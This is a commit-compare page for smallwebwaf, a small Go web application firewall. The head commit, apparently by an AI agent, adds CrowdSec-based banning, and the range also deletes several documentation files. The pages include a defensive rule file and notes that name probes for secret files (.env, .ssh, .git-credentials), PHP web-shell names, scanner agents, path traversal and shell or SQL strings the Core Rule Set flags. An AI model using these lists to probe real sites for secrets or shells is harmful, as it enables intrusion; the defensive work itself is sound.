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sneak/smallwebwaf:v1.0.0-rc1
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spec-rewrite-156 .. b0476bd29a
Author SHA1 Message Date
clawbot b0476bd29a CrowdSec decision list fetched, kept, and its clients banned until the decision ends (closes #106)
check / check (push) Canceled after 0s
Details 
SWWAF_CROWDSEC_LAPI_URL and SWWAF_CROWDSEC_LAPI_KEY name an engine whose
decision list, <url>/v1/decisions, is fetched every minute with the key in
X-Api-Key, following no redirect, and kept as a blocklist is: used while a
fetch fails, and across restarts through reputation.json. Ban decisions on an
Ip or a Range end at the fetch time plus their duration. A listed client's
request is refused and bans its netblock with the cause crowdsec until the
decision ends; bans.json, ban notes and metrics take the cause.

Judgement call: fetched every minute, not a setting.
Judgement call: a crowdsec ban never lengthens a limit ban.
Judgement call: a lifted crowdsec ban is remade while its decision lasts.

Model: opus-5-5
 2026-10-08 02:58:01 +00:00
60 changed files with 3901 additions and 6812 deletions
Expand all files Collapse all files
Dockerfile
+6 -15
View File
@@ -36,12 +36,11 @@ RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage.
# after this step, and writing it into the image takes seconds.
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
go test -timeout 90s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
go test -timeout 90s -race -v ./...; exit 1; }
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only
@@ -85,10 +84,7 @@ COPY . .
# The VERSION build arg when one is given, otherwise
# `git describe --tags --always` on the .git in the build context. With
# .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since smallwebwaf writes only to its state
# directory.
# build: git is missing or could not read the checkout.
ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
if [ -e .git ]; then \
@@ -97,7 +93,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
exit 1 ;; \
esac; \
fi; \
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
CGO_ENABLED=0 go build -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
@@ -140,14 +136,10 @@ RUN mkdir /etc/sysusers.d \
# apt also fetches the live archive's InRelease files, which change daily
# and which the install does not use. The snapshot service is HTTPS only
# and this image has no CA certificates yet, so this step uses the Go
# image's. The snapshot service answers 503 at times; apt retries a
# failed download, waiting twice as long before each retry, and this
# step gives it five retries, about half a minute in all, where its
# default of three gives up after seven seconds.
# image's.
RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \
apt-get update --snapshot 20261001T000000Z \
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
-o Acquire::Retries=5 \
&& printf '%s\n' \
'45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \
'802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \
@@ -157,7 +149,6 @@ RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,tar
&& DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
--snapshot 20261001T000000Z \
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
-o Acquire::Retries=5 \
ca-certificates nix-bin runit \
&& rm -rf /var/lib/apt/lists/*
Makefile
+2 -6
View File
@@ -1,12 +1,11 @@
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \
run example-app gitea-requests
run example-app
# Makefile targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
# which test checks. build and run are for working on the code by hand;
# example-app checks the image with an app built on it; gitea-requests
# reports the gitea requests the Core Rule Set refuses at the defaults.
# example-app checks the image with an app built on it.
bootstrap:
@script/bootstrap
@@ -46,6 +45,3 @@ run:
example-app:
@script/example-app
gitea-requests:
@script/gitea-requests
README.md
+2094 -364
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File diff suppressed because it is too large Load Diff
SPEC.md
+1541 -1065
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File diff suppressed because it is too large Load Diff
docs/admin-endpoints.md
-48
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@@ -1,48 +0,0 @@
# Admin endpoints
The endpoints under `/_smallwebwaf/`, what each takes and what each answers.
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says which checks they go through
and how their tokens work.
- `GET /_smallwebwaf/healthz`: `200` and `ok`, to anyone.
- `GET /_smallwebwaf/metrics`: the metrics, for `SWWAF_METRICS_TOKEN` (see
[`metrics.md`](metrics.md)).
- `GET /_smallwebwaf/bans`: every ban held, under `bans`, each as `bans.json`
lists it. Needs `SWWAF_ADMIN_TOKEN`, as do the three below.
- `POST /_smallwebwaf/bans`: bans a netblock. The body is a JSON object of
`netblock`, `duration` and, if you like, `reason`. `netblock` is a netblock
such as `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWWAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
wrong:
- one that is not such an object, or has another field;
- one longer than 4 KiB;
- one that names an IPv4-mapped netblock, or an address with a zone.
- `DELETE /_smallwebwaf/bans/<client>`: lifts every active ban covering the
address `<client>`. It answers `404` when none is active.
- `GET /_smallwebwaf/clients/<ip>`: what `smallwebwaf` knows of the client.
Under `client`, its counters and history as `clients.json` holds them, or
`null` when `clients.json` does not hold it. Under `bans`, every ban covering
the address, with its notes.
## Examples
With `SWWAF_ADMIN_TOKEN` set, and the token in `$TOKEN`:
```sh
# Every ban.
curl -H "Authorization: Bearer $TOKEN" https://app.example/_smallwebwaf/bans
# Ban 203.0.113.0/24 for seven days.
curl -H "Authorization: Bearer $TOKEN" \
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
https://app.example/_smallwebwaf/bans
# Lift the bans on 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
https://app.example/_smallwebwaf/bans/203.0.113.9
# What smallwebwaf knows of 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" \
https://app.example/_smallwebwaf/clients/203.0.113.9
```
docs/alerts.md
-133
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@@ -1,133 +0,0 @@
# Alerts
The alert events, the JSON object the webhook gets, and the messages Slack and
ntfy get. "Alerting" in [`SPEC.md`](../SPEC.md) says when an alert is sent, held
back or dropped.
## Events
- `ban`: a ban `smallwebwaf` made.
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
a request.
- `waf_block`: the Core Rule Set scored a request at or over the threshold. The
request was refused unless the alert's `detail` gives `mode`: `detect` or
`observe`.
- `anomaly`: a count over an anomaly threshold.
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
One alert per source.
- `source_failure`: one of:
- GeoJS failing;
- a list that cannot be fetched;
- a DNS blocklist or AbuseIPDB failing or refusing a query;
- the day's AbuseIPDB checks used up.
- `file_error`: one of:
- a rule file or state file edit with an error;
- a state file that cannot be written;
- a replacement lookup database that cannot be read.
- `summary`: the hourly summary of alerts held back.
## The JSON object
This is the alert for a ban for a broken rate limit, shown indented; it is sent
on one line:
```json
{
"instance": "fsn1app1/gitea",
"time": "2026-10-06T12:00:00.123461Z",
"event": "ban",
"client": "203.0.113.9",
"netblock": "203.0.113.9/32",
"asn": "",
"as_name": "",
"country": "",
"reason": "requests per minute over the limit of 1000",
"detail": {
"ban_expires": "2026-10-06T13:00:00.123Z",
"cause": "limit",
"notes": {
"asn": "",
"as_name": "",
"country": "",
"kind": "requests",
"limit": 1000,
"window": "minute",
"count": 1001,
"request": {
"time": "2026-10-06T12:00:00.123456789Z",
"method": "GET",
"host": "app.example",
"path": "/owner/repo/commits/branch/main?page=812",
"status": 403,
"user_agent": "scraper/1.0"
},
"requests": 5210,
"refused": 0,
"earlier_bans": {
"limit": 0,
"attack": 0,
"admin": 0,
"crowdsec": 0
}
}
},
"suppressed_repeats": 0
}
```
- `instance`: `SWWAF_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
one of the events above.
- `client`: the address whose request raised the alert. Empty for
`source_failure`, `file_error` and `summary`.
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
one of:
- the ban's netblock;
- the netblock an anomaly counted, empty in the `asn` and `total` scopes;
- for the other events, the client as rate limiting counts it: an IPv4
address as a /32, or an IPv6 group.
- `asn`, `as_name` and `country`: the client's, as known when the alert was
raised. They are empty when GeoJS had not answered yet.
- `reason`: a short sentence, such as
`requests per minute over the limit of 1000` or `listed by a blocklist`.
- `detail`: what is particular to the event:
- for a ban, its `cause`, `ban_expires` and `notes` (the notes are listed
under `bans.json` in [`state-files.md`](state-files.md));
- for an anomaly, the `scope`, `window`, `kind`, `count` and `threshold`;
- for a reputation hit, the `source` and, for AbuseIPDB, the `score`;
- for a Core Rule Set match, the `rule_ids`, `score`, `method` and `path`;
- for a source failure, the `source` and `error`;
- for a file error, the `file` and `error`;
- for a summary, the `hour` it covers, the `count` of alerts held back, and
that count by event in `events`;
- `mode`, when the request was not refused: `detect` or `observe`.
- `suppressed_repeats`: how many repeats the cooldown held back before this
alert.
## Slack and ntfy
Slack and ntfy get a message with a title and a text. The title is the instance
and the event, such as `fsn1app1/gitea: ban`. The text is the `reason`, then one
line for each of these that the alert has:
- the client, the netblock and the country;
- the file, the source, the error and the mode from `detail`;
- the suppressed repeats, if any.
Slack gets the title in bold and the text below it, with `&`, `<` and `>`
escaped. ntfy gets the text as the message, with these headers:
- `Title`: the title;
- `Authorization`: the token, as `Bearer <token>`, while
`SWWAF_ALERT_NTFY_TOKEN` is set;
- `Priority` and `Tags`: by event, as listed below.
The priority and tag by event:
- `ban`: priority `default`, tag `no_entry`.
- `permanent_ban`: priority `high`, tag `no_entry`.
- `waf_block`: priority `default`, tag `shield`.
- `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
- `reputation_hit`: priority `low`, tag `label`.
- `source_failure` and `file_error`: priority `high`, tag `warning`.
- `summary`: priority `default`, tag `bar_chart`.
docs/gitea.md
-215
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@@ -1,215 +0,0 @@
# smallwebwaf in front of gitea
These notes record what `smallwebwaf` does in front of gitea at the default
settings. They are observations, not requirements; the requirements are in
[`SPEC.md`](../SPEC.md). `script/gitea-requests` runs gitea behind the image and
sends through it a sample of gitea's ordinary use and the requests named below.
It reports each request the Core Rule Set refuses, so that these notes can be
checked again when gitea or the Core Rule Set changes version.
## What the defaults cover
- SSH access to gitea does not pass through `smallwebwaf` and is not protected
by it.
- A clone is a response. It fits the defaults of 30 minutes and 5 GiB for all
but the largest repositories and slowest links.
- A push is a request, and so is every other upload:
- a git push;
- an LFS object;
- a container image layer;
- a package file;
- a release attachment.
At the defaults, an upload larger than 100 MiB or taking more than 60
seconds is cut off ("Size and time limits" in `SPEC.md`). A gitea that takes
large uploads needs `SWWAF_REQUEST_MAX_BYTES`,
`SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` raised
to fit.
- Archive download and blame or history pages are what scrapers hammer. The
request limits do most of the work there.
- An Actions runner that reaches gitea through `smallwebwaf` sends requests all
day. One older than version 0.4 (April 2026) asks for work every 2 seconds,
43,200 requests a day, and reports a running job's log and state every second.
So it passes the day limit of 50,000 after about an hour and a quarter of
jobs. It is then banned, the job it is running fails, and each repeat within a
day makes the ban longer. Newer runners ask less often, but a busy one, or
several on one address, can still pass it. Put the runners' addresses in
`SWWAF_RATE_LIMIT_EXEMPT_NETS`.
## What the Core Rule Set lets through
At the defaults, the Core Rule Set lets gitea's ordinary use through, apart from
the refusals in the next section:
- browsing and views of files in a repository, with their history, blame and the
file tree;
- diffs, including their hidden lines and large files, and pull request review;
- git's clone, fetch and push over HTTP;
- signing in, including the return to the page a visitor came from, and sign-in
with Git Credential Manager, git-credential-oauth or tea;
- the API's calls for a file and its commits;
- pushing and pulling container images and packages;
- Actions runners, and artifacts uploaded with `actions/upload-artifact@v4`;
- posting issues, pull requests, comments, wiki pages and files saved in the web
editor, code included, since no body is read;
- the page gitea shows after a change, with its message naming what was done.
## What the Core Rule Set still refuses
Each refusal answers only that request ("Bans" in `SPEC.md` says what it counts
toward). The request log names the rule in `waf_rule_ids`, which
`SWWAF_WAF_DISABLED_RULES` can switch off.
### A query string that reads as an attack
Most often this is a search. A search term is a query parameter, which the Core
Rule Set checks against its lists of system files and commands (see the fourth
change under "Attack detection" in `SPEC.md`). A release attachment uploaded
through the API as `docker-compose.yml` is refused the same way. Examples:
- a name on those lists, such as `package.json`, `.gitignore` or
`docker-compose.yml`;
- text that starts with a command name, such as `python3` or `ssh key`, or has
one right after a `/` in its first word, such as `feat/docker-support`;
- a shell command with its options or a system path (`ls -la`, `sed -i`,
`/bin/sh`), or a command in backticks;
- script code (`fetch(`, `${VAR}`, `process.env`), HTML (`<img src=`) or an SQL
statement (`SELECT * FROM users WHERE`);
- a URL naming an IP address or `localhost`.
### A branch, tag or file name that starts with a command name
The Core Rule Set's list of commands (932260) holds names such as `docker-`,
`python3`, `ansible`, `base64` and `whoami`. A query parameter holding a branch,
tag or file name that starts with one is refused. So is one that has such a name
right after a `/`, such as `feat/docker-support`, `fix/docker-build` or
`renovate/docker-build-push-action-6.x`. gitea's own pages send the name in a
query parameter that 930120, 932160 and 932260 still check:
- `refSubUrl`, the branch or tag of a directory listing. A listing sends it when
it asks for its entries' last commits in a second request. It does so whenever
gitea takes more than a second to work them out;
- `name`, when a branch is deleted or restored on the branches page;
- `tag`, when a release is started from a tag;
- `template`, the file of an issue template, when an issue is opened from it;
- `rule_name`, when a branch protection rule is opened for editing in the
repository's settings or has just been saved.
What a visitor sees, for a branch named `docker-build`:
- A directory listing that makes that second request leaves those last commits
out and shows an error.
- The branches page shows an error instead of deleting or restoring the branch.
- A release started from such a tag gets the `403` answer of `smallwebwaf` in
place of its form. So does an issue opened from such a template, and such a
rule opened for editing.
- Saving such a rule stores it. gitea then returns to the branch settings page,
which gets the `403` answer, so the save looks as if it failed.
### A file name in a query parameter that trips the code rules
The Core Rule Set's rules for Java, script, PowerShell and SQL find what they
look for in some file names. This holds too in the ten query parameters that
930120, 932160 and 932260 do not check (see the fourth change under "Attack
detection" in `SPEC.md`). Examples:
- `runtime` in OpenJDK's `src/java.base/share/classes/java/lang/Runtime.java`
(944110);
- a Java class, as in `java.lang.String.md` (944130);
- `document.write.js` (941180);
- `process.env.d.ts` (934100);
- `__proto__` (934130);
- the PowerShell command `Install-Script`, as in `install-script.sh` (932120);
- a database's name, as in PostgreSQL's `information_schema.sql` (942140).
For such a file, these requests are refused:
- the API's list of its commits (`path`);
- the API's call for the contents of files that names it in its query (`body`);
- the commit graph of that file alone (`file`);
- the hidden lines of its diff (`path`), which stay hidden;
- the sign-in page, for a visitor who opens a page of the file that needs
signing in, such as its edit page (`redirect_to`). The visitor can still sign
in by opening the sign-in page itself.
### A path
- A file name ending in `~`, or an `.xhtml` file whose path holds a space.
- A path that holds what the Core Rule Set takes for a Java class (944130), as
`java.lang.String.md` and
`META-INF/services/org.apache.commons.logging.LogFactory` do.
- A path that holds what it takes for Node.js code (934100), as
`process.env.d.ts` does.
- A path with a directory named `...` (930100, 930110), such as `.../notes.txt`.
For such a file, these are refused:
- the page of the file;
- its raw file;
- its history and its blame;
- its edit page.
The directory that holds it lists it, and a clone carries it.
### A container image push that reuses a layer
A push can reuse a layer of an image docker has pushed to that gitea before.
docker then asks gitea to take the layer from that image, naming it in the query
parameter `from`, which 932260 checks. The request is refused when the image's
owner starts with an entry on the list of commands. It is refused too when the
image's name after the owner starts with one. Examples are `owner/python3-app`,
`owner/docker-base`, and any image of an owner named `ansible` or `docker-team`.
What happens next depends on docker's image store. A docker that keeps its
images in containerd's image store fails the push, and fails each new try the
same way. A new install of Docker Engine 29 does this. A docker that keeps them
in its own older image store uploads the layer instead. The push then succeeds
after one refusal for each layer it reuses, and each of those refusals counts
toward the error burst ("Attack detection" in `SPEC.md`).
### Artifact uploads from `actions/upload-artifact@v3`
This action sends the header `Content-Range`, which the Core Rule Set refuses
(920450). The action sends two files at a time, does not retry a `403`, and
sends no further file once one is refused. So an upload is refused once or
twice, however many files it holds, and the step fails. One upload does not ban
the runner. The error burst ("Attack detection" in `SPEC.md`) bans it after more
than 30 such refusals from its address in a minute, as when many jobs upload at
once. `actions/upload-artifact@v4` does not send the header.
## What body inspection refuses
With `SWWAF_WAF_BODY_LIMIT` set, the Core Rule Set reads request bodies too. In
front of gitea it then refuses these, until their rule ids, named in the request
log, are added to `SWWAF_WAF_DISABLED_RULES`:
- issue and comment text, wiki pages and files saved in the web editor that hold
shell commands or code (932125, 932235, 932250 and others);
- package descriptions that show code;
- PyPI uploads (922130);
- attachments named like `debug.log` or `config.yml` (932180).
## What `script/gitea-requests` sends
Of the requests above, the script sends:
- for each file named under "A file name in a query parameter that trips the
code rules", the API's list of its commits;
- for `Runtime.java` alone, the commit graph of that file, the hidden lines of
its diff, and the API's call for the contents of files that names it;
- the sign-in page for a visitor who opens the edit page of `document.write.js`;
- the pages of `java.lang.String.md`,
`META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts`
and `.../notes.txt`;
- one container image push that reuses a layer, which it does not try again.
It does not send the raw file, history, blame or edit page of those four files,
or the pages of the directories `META-INF/services` and `...`. It also sends a
short sample of gitea's ordinary use:
- signing in;
- pages of files and commits, and a diff;
- the API;
- a push, and clone and fetch over HTTP;
- two container image pushes.
docs/image.md
-37
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@@ -1,37 +0,0 @@
# What the image holds
The contents of the `smallwebwaf` image, and how each part is pinned.
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
is pinned that way.
## Contents
- Ubuntu 26.04 LTS, pinned by digest.
- `ca-certificates`, `nix-bin` and `runit` from Ubuntu, from the snapshot of its
archive at `20261001T000000Z`.
- Nix, with nixpkgs `nixos-26.05.11045.774debe7a0d1` set up for root as
`nixpkgs`. No Nix daemon; `build-users-group =` in `/etc/nix/nix.conf`. Root's
Nix profile, `/nix/var/nix/profiles/default/bin`, last on the `PATH`.
Unpacked, nixpkgs takes about 500 MiB.
- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
at a fixed commit hash.
- The `smallwebwaf` binary, and the user `smallwebwaf` (uid and gid 65532).
- The service directory `/etc/service/smallwebwaf`, with the `run` script
`share/smallwebwaf.run`.
- `/var/lib/smallwebwaf` for the state files, and `/etc/smallwebwaf/rules.d`
with the default rule file `share/rules.d/00-default.rules`.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `smallwebwaf healthcheck`.
## Pins
- Ubuntu's packages: the snapshot service, `--snapshot 20261001T000000Z` on both
`apt-get update` and `apt-get install`. The SHA-256 hash of each of the
snapshot's `InRelease` files is named in the `Dockerfile` and checked after
`apt-get update`. The hashes are the amd64 archive's.
- nixpkgs: the release file `nixexprs.tar.xz` of
`nixos-26.05.11045.774debe7a0d1` on `releases.nixos.org`, named with its
SHA-256 hash.
- `runsvinit`: the archived repository, unchanged since 2015, at its last commit
(`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
build writes.
- The Go image that builds `smallwebwaf`: by digest.
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# The metrics
What `GET /_smallwebwaf/metrics` answers with. "Metrics endpoint" in
[`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus keeps the `instance`
label as `exported_instance` unless the scrape sets `honor_labels: true`.
## Traffic
- `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and
`smallwebwaf_response_bytes_total`, by `status_class` such as `2xx` and by
`action`;
- `smallwebwaf_request_duration_seconds` and
`smallwebwaf_upstream_duration_seconds`, as histograms;
- `smallwebwaf_requests_in_flight`.
## Limits and bans
- `smallwebwaf_rate_limit_hits_total`, by `window` and by `kind` (`requests`,
`bytes` or `refusals`);
- `smallwebwaf_size_and_time_limit_hits_total`, by `limit`, the setting passed;
- `smallwebwaf_offences_total`, by `kind`;
- `smallwebwaf_bans_made_total`, by `cause`;
- `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`.
## Attack detection
- `smallwebwaf_rule_matches_total`, by `rule_id` and `action`, and
`smallwebwaf_rules_loaded`;
- `smallwebwaf_waf_matches_total`, by `mode` and `rule_id`, for the rules that
fired.
## Countries and AS numbers
For the `SWWAF_METRICS_TOP_N` busiest of each, the rest as `other`:
- `smallwebwaf_country_requests_total`,
`smallwebwaf_country_request_bytes_total`,
`smallwebwaf_country_response_bytes_total` and
`smallwebwaf_country_list_refusals_total`, by `country`;
- `smallwebwaf_asn_requests_total`, `smallwebwaf_asn_request_bytes_total` and
`smallwebwaf_asn_response_bytes_total`, by `asn`.
## Lookups
- `smallwebwaf_geojs_requests_total` and `smallwebwaf_geojs_failures_total`;
- `smallwebwaf_geojs_unanswered_total`: the requests that needed an answer and
went on without it;
- with the file source,
`smallwebwaf_lookup_database_last_read_timestamp_seconds` and
`smallwebwaf_lookup_database_read_failures_total`.
## Reputation sources
By `source`: each list's URL, each zone, and `abuseipdb`:
- `smallwebwaf_reputation_hits_total`, `smallwebwaf_reputation_queries_total`
and `smallwebwaf_reputation_failures_total`;
- `smallwebwaf_reputation_last_fetch_timestamp_seconds`, for a list;
- `smallwebwaf_reputation_daily_budget_remaining`, for AbuseIPDB.
## State files
By `file`:
- `smallwebwaf_state_file_writes_total`,
`smallwebwaf_state_file_write_failures_total`,
`smallwebwaf_state_file_last_write_timestamp_seconds` and
`smallwebwaf_state_file_size_bytes`;
- `smallwebwaf_state_file_edits_taken_in_total` and
`smallwebwaf_state_file_edits_set_aside_total`;
- `smallwebwaf_tracked_clients`: the clients in the table.
## Remote log, alerts and the process
- while a syslog server is set, `smallwebwaf_remote_log_lines_sent_total`,
`smallwebwaf_remote_log_lines_dropped_total` and
`smallwebwaf_remote_log_buffer_depth`;
- by `destination`, `smallwebwaf_alerts_sent_total`,
`smallwebwaf_alerts_failed_total`, `smallwebwaf_alerts_suppressed_total` and
`smallwebwaf_alerts_dropped_total`;
- Go's own `go_` metrics and the process's `process_` metrics.
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# The request log's fields
The fields of the JSON object `smallwebwaf` writes for each request. "Request
log" in [`SPEC.md`](../SPEC.md) says when a line is written and how the log is
sent to a syslog server. A field that does not apply to a request is left out.
## Example
```
{"type":"request","time":"2026-10-03T12:00:00.123Z","instance":"fsn1app1/gitea","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"response_content_type":"text/html; charset=utf-8","upstream_status":200,"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"duration_total":3.217,"duration_checks":0.041,"duration_upstream_connect":0.052,"duration_upstream_first_byte":2.874,"duration_upstream_total":3.104}
```
## Every line
Every line has:
- `type`: `request` (the process's own messages have `process`);
- the standard web log fields;
- `request_id`, `peer_ip` and `client_group`;
- `asn`, `as_name` and `country`;
- `action` and `duration_total`.
## Standard web log fields
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC;
- `instance`: `SWWAF_INSTANCE_NAME`;
- `client_ip`, `method`, `scheme`, `host`, `path`, `query`, `protocol`;
- `status`: what the client was sent, `0` if nothing;
- `request_bytes` and `response_bytes`: body bytes each way;
- `referer` and `user_agent`.
## Request detail
- `request_id`: the `X-Request-ID` a trusted proxy sent, or a new random one of
26 letters and digits.
- `peer_ip`: the TCP peer, normally traefik.
- `forwarded_for`: the `X-Forwarded-For` header as received.
- `client_group`: the client as rate limiting counts it, an IPv4 address as a
/32 or an IPv6 group.
- `asn`, `as_name` and `country`: the client's, as looked up. Each is empty
when:
- lookups are off;
- the client is not looked up;
- the source cannot place the client;
- GeoJS had not answered by the time the request went on.
- `content_type` and `content_length`: the request's own.
- `request_headers`: the headers listed in `SWWAF_LOG_REQUEST_HEADERS`, by name
in lower case.
- `has_authorization` and `has_cookie`: true when the request had those headers.
Their values are never logged.
- `websocket`: true when the app switched the connection to another protocol.
## Response detail
- `upstream_status`: what the app answered. It differs from `status` when
`smallwebwaf` answered itself.
- `response_content_type`, `cache_control` and `location`: the answer's headers.
- `aborted`: true when the client went away early.
## Decision
- `action`: what was done:
- `forward`: passed to the app;
- `denied`: refused for `SWWAF_DENY_NETS`, or for a reputation source with
the action `deny`;
- `banned`: refused under a ban, or for a `ban` rule, a trap path or a
CrowdSec decision, each of which bans the client;
- `country_denied`, `rate_limited`, `rule_blocked` and `waf_blocked`:
refused by that check;
- `too_large` and `timed_out`: a size or time limit was passed;
- `upstream_error`: the app could not be reached, or its answer broke off;
- `admin`: answered at one of `smallwebwaf`'s own endpoints.
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
request it would have refused. `action` then names what was done, normally
`forward`.
- `limit_percent` and `limit_percent_setting`: the client's percentage of the
rate limits and the setting that lowered it, when one did. `bytes_percent` and
`bytes_percent_setting` do the same for the byte limits.
- `counts`: the client's totals as rate limiting counts them, this request
included. It is left out when rate limiting did not count the request. It
holds:
- `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: bytes.
A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)).
- `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `error_burst`.
A request whose bytes broke a limit was passed on whole, so its `action`
stays `forward`.
- `rule_ids`: the rule file rules that matched, in order, up to the one that
refused.
- `waf_score` and `waf_rule_ids`: the Core Rule Set's score and the rules that
matched, for a request it inspected.
- `reputation`: the sources the client is on, in this order:
- blocklist URLs;
- the CrowdSec decision list's URL;
- DNS blocklist zones;
- `abuseipdb`.
- `offence`: `limit`, for a request that broke a limit.
- `ban_expires`: when the client's ban ends, for a request that made one or was
refused under one: a time, or `permanent`.
## Timings
All in milliseconds:
- `duration_total`: from the request's headers being read to its log line;
- `duration_checks`: to the end of the checks, before forwarding;
- `duration_waf`: the part of that the Core Rule Set took;
- `duration_upstream_connect`: from the hand-over to the app until there was a
connection;
- `duration_upstream_first_byte`: until the first byte of the answer;
- `duration_upstream_total`: until the end of the answer.
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# Rule files
The format of a rule file, and the default file the image ships. "Rule files" in
[`SPEC.md`](../SPEC.md) says how the files are read, watched and mounted, and
what each action leads to.
## The format
A rule is a line of four fields separated by spaces or tabs: an id, a target, an
action and a regex. The regex runs to the end of the line. Blank lines and lines
starting with `#` are ignored.
```
# id target action regex
env-file path ban (?i)^/\.env(\.[a-z]+)?$
scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
```
- The id is letters, digits, `-` and `_`, unique across all files. The log line,
the metrics, the alerts and a ban's notes name the rule by it.
- The target is what the regex is matched against:
- `path`: the path without the query;
- `uri`: the path and the query together;
- `query`: the query as sent;
- `method`, `host`, `user_agent` and `referer`;
- `header:<Name>`: any one request header but `Host` and
`Transfer-Encoding`.
- The action is `log`, `block` or `ban`.
- The regex is in Go's syntax, RE2. It matches anywhere in the target unless
anchored with `^` and `$`. `(?i)` at its front makes it ignore case.
## The default file
The image ships one file, `share/rules.d/00-default.rules`, installed as
`/etc/smallwebwaf/rules.d/00-default.rules`:
```
# 00-default.rules: probes no real visitor sends, anchored at the site root
# id target action regex
env-file path ban (?i)^/\.env(\.[a-z]+)?$
vcs-dir path ban (?i)^/\.(git|svn|hg|bzr)(/|$)
secrets-dir path ban (?i)^/\.(aws|ssh|docker|kube)/
secret-file path ban (?i)^/\.(htpasswd|htaccess|npmrc|netrc|pgpass|git-credentials|bash_history|DS_Store)$
editor-dir path ban (?i)^/\.(vscode|idea)/
backup-file path ban (?i)^/[^/]+\.(php(\.[a-z0-9]+|~)|sql(\.[a-z0-9]+)?)$
log-file path ban (?i)^/(debug|error|access)\.log$
compose-file path ban (?i)^/(docker-)?compose\.ya?ml$
php-shell path ban (?i)^/(shell|c99|r57|wso|alfa)\.php$
scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|masscan|zgrab|wpscan)\b
path-traversal uri block (\.\./){2,}
empty-agent user_agent log ^$
```
## A file of your own
An app's `Dockerfile` adds rules of its own in a file named to sort after the
default, such as `50-gitea.rules`:
```
# 50-gitea.rules: WordPress probes, which gitea never serves
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
```
```dockerfile
COPY 50-gitea.rules /etc/smallwebwaf/rules.d/50-gitea.rules
```
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# Settings
Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why.
## Forms of values
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
and negative durations are refused.
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
- A count is a whole number of requests, such as `1000`.
- A list is comma separated, with spaces around items ignored. An empty item is
refused.
